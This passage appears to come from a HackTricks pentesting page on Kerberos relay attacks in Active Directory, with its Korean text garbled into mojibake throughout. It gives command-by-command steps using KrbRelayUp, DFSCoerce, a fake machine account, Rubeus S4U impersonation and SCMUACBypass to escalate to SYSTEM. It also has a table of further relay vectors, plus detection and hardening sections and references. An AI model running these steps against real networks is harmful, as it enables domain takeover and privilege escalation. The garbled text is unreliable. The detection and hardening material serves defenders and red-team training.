- ํฐ์ผ ์ถ์ฒ๊ฐ ์ด๋ฏธ ์ฌ์ฉ๋์ง ์์: ์ค์ ํจํท์ด ๋๋ฌํ๊ธฐ ์ ์ ๋ ์ด์ค์์ ์ด๊ธฐ๊ฑฐ๋ ์์ ํ ์ฐจ๋จํด์ผ ํจ; ๊ทธ๋ ์ง ์์ผ๋ฉด ์๋ฒ์ ์ฌ์ ์บ์๊ฐ Event 4649๋ฅผ ๊ธฐ๋กํฉ๋๋ค.
- ํต์ ์์ MitM์ ์ํํ ์ ์์ด์ผ ํจ โ ์๋ฅผ ๋ค์ด DNS๋ฅผ ์์ ํ ์ ์๋ DNSAdmins ๊ทธ๋ฃน์ ์ผ์์ด๊ฑฐ๋ ํผํด์์ HOST ํ์ผ์ ๋ณ๊ฒฝํ ์ ์์ด์ผ ํจ.
Kerberos Relay Steps
- 3.1 Recon the host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 ๋ฆด๋ ์ด ๋ฆฌ์ค๋ ์์
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp์ KrbRelay โ LDAP โ RBCD โ Rubeus โ SCM bypass๋ฅผ ํ๋์ binary๋ก ๋ฌถ์ด ์ ๊ณตํฉ๋๋ค.
- 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce๋ DC๊ฐ Kerberos CIFS/DC01 ํฐ์ผ์ ์ฐ๋ฆฌ์๊ฒ ๋ณด๋ด๊ฒ ํ๋ค.
- 3.4 Relay the AP-REQ
KrbRelay๋ SMB์์ GSS blob์ ์ถ์ถํด LDAP bind๋ก ์ฌํฌ์ฅํ ๋ค ldap://DC01๋ก ์ ๋ฌํ๋คโ์ธ์ฆ์ ๊ฐ์ ํค๋ก ๋ณตํธํ๋๊ธฐ ๋๋ฌธ์ ์ฑ๊ณตํ๋ค.
- 3.5 Abuse LDAP โ RBCD โ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
์ด์ NT AUTHORITY\SYSTEM ๊ถํ์ ํ๋ํ์ต๋๋ค.
์์๋ ๊ฐ์น๊ฐ ์๋ ์ถ๊ฐ ๊ฒฝ๋ก
| Vector | Trick | Why it matters |
|---|---|---|
| AuthIP / IPSec | ๊ฐ์ง ์๋ฒ๊ฐ ์์์ SPN์ ํฌํจํ GSS-ID payload๋ฅผ ์ ์ก; ํด๋ผ์ด์ธํธ๊ฐ ๋น์ ์๊ฒ ์ง์ AP-REQ๋ฅผ ์์ฑ | ์๋ธ๋ท ๊ฐ์๋ ๋์; ๊ธฐ๋ณธ์ ์ผ๋ก machine creds |
| DCOM / MSRPC | ์ ์ฑ OXID resolver๊ฐ ํด๋ผ์ด์ธํธ๋ฅผ ์์์ SPN๊ณผ ํฌํธ๋ก ์ธ์ฆํ๋๋ก ๊ฐ์ | ์์ํ ๋ก์ปฌ priv-esc; ๋ฐฉํ๋ฒฝ ์ฐํ |
| AD CS Web Enroll | machine ํฐ์ผ์ HTTP/CA๋ก ๋ฆด๋ ์ดํ์ฌ ์ธ์ฆ์ ํ๋, ๊ทธ ํ PKINIT์ผ๋ก TGTs ์์ฑ | LDAP ์๋ช ๋ฐฉ์ด ์ฐํ |
| Shadow Credentials | msDS-KeyCredentialLink์ ์์ฑํ ํ, ์์กฐ ํค ์์ผ๋ก PKINIT ์คํ | ์ปดํจํฐ ๊ณ์ ์ ์ถ๊ฐํ ํ์ ์์ |
๋ฌธ์ ํด๊ฒฐ
| Error | Meaning | Fix |
|---|---|---|
KRB_AP_ERR_MODIFIED | ํฐ์ผ ํค โ ๋์ ํค | ์๋ชป๋ ํธ์คํธ/SPN |
KRB_AP_ERR_SKEW | ์์คํ ์๊ณ ์ค์ฐจ > 5๋ถ | ์๊ฐ ๋๊ธฐํ ๋๋ w32tm ์ฌ์ฉ |
| LDAP bind fails | ์๋ช ๊ฐ์ | AD CS ๊ฒฝ๋ก ์ฌ์ฉ ๋๋ ์๋ช ๋นํ์ฑํ |
| Event 4649 spam | ์๋น์ค๊ฐ ์ค๋ณต Authenticator๋ฅผ ๊ฐ์ง | ์๋ณธ ํจํท ์ฐจ๋จ ๋๋ ๋ ์ด์ค(race) |
ํ์ง
- ๋ช ์ด ๋ด์ ๋์ผ ์ถ์ฒ์์
CIFS/,HTTP/,LDAP/์ ๋ํ Event 4769 ๊ธ์ฆ. - ์๋น์ค์์์ Event 4649๋ ์ฌ์(replay) ๊ฐ์ง๋ฅผ ์๋ฏธ.
- ๋ก์ปฌ SCM์ผ๋ก์ ๋ฆด๋ ์ด์ธ 127.0.0.1์์์ Kerberos ๋ก๊ทธ์จ์ ๋งค์ฐ ์์ฌ์ค๋ฌ์โKrbRelayUp ๋ฌธ์์ Sigma ๊ท์น์ผ๋ก ๋งคํํ์ธ์.
msDS-AllowedToActOnBehalfOfOtherIdentity๋๋msDS-KeyCredentialLink์์ฑ ๋ณ๊ฒฝ์ ์ฃผ์ํ์ธ์.
๊ฐํ
- LDAP & SMB ์๋ช + EPA๋ฅผ ๋ชจ๋ ์๋ฒ์์ ๊ฐ์ ์ ์ฉ.
- SPNs ๋ถ๋ฆฌ: HTTP๊ฐ CIFS/LDAP์ ๋์ผ ๊ณ์ ์ ์์ง ์๋๋ก.
- ๊ฐ์ (coercion) ๋ฒกํฐ ํจ์น (PetitPotam KB5005413, DFS, AuthIP).
- ๋ฌด๋จ ์ปดํจํฐ ๊ฐ์
์ฐจ๋จ์ ์ํด
ms-DS-MachineAccountQuota = 0์ค์ . - Event 4649 ๋ฐ ์๊ธฐ์น ์์ ๋ฃจํ๋ฐฑ Kerberos ๋ก๊ทธ์จ์ ๋ํด ๊ฒฝ๋ณด ์ค์ .
References
- HTB: Breach โ Writable SMB share lures + Responder capture โ NetNTLMv2 crack
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
- WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
- GoSecure โ Abusing WSUS to enable NTLM relaying attacks
- Impacket PR #2034 โ Restore HTTP server in ntlmrelayx
- Impacket PR #913 โ HTTP relay support
- WSUScripts โ wsusniff.py
- WSUScripts โ wsuspider.sh
- MS-WSUSOD โ Windows Server Update Services: Server-to-Client Protocol
- Microsoft โ WSUS deprecation announcement
- RelayKing v1.0
- Depth Security โ Introducing RelayKing: Relay to Royalty
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


